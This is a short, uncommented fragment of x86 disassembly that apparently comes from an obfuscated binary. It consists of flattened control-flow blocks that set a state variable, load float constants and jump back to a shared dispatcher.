sub edx, 0x5ee43090
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4b94485
mov ecx, 0x77e9f37b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x10018244]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x154], 0x9c42e611
jmp 0x1000b75a
movss xmm0, dword [0x10018228]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x154], 0x6d93a89
jmp 0x1000b75a
mov dword [ebp - 0x154], 0xd32f9386
jmp 0x1000b75a
movss xmm0, dword [0x10018218]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x154], 0x944223d6
jmp 0x1000b75a
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100181dc]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x154], 0x19f10c33
jmp 0x1000b75a
movss xmm0, dword [0x100181c4]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x154], 0x6bb2908f
jmp 0x1000b75a
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x154], 0x81578595
jmp 0x1000b75a
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x154], 0xc98e0999
jmp 0x1000b75a
mov dword [ebp - 0x154], 0x1df25498
jmp 0x10002ed0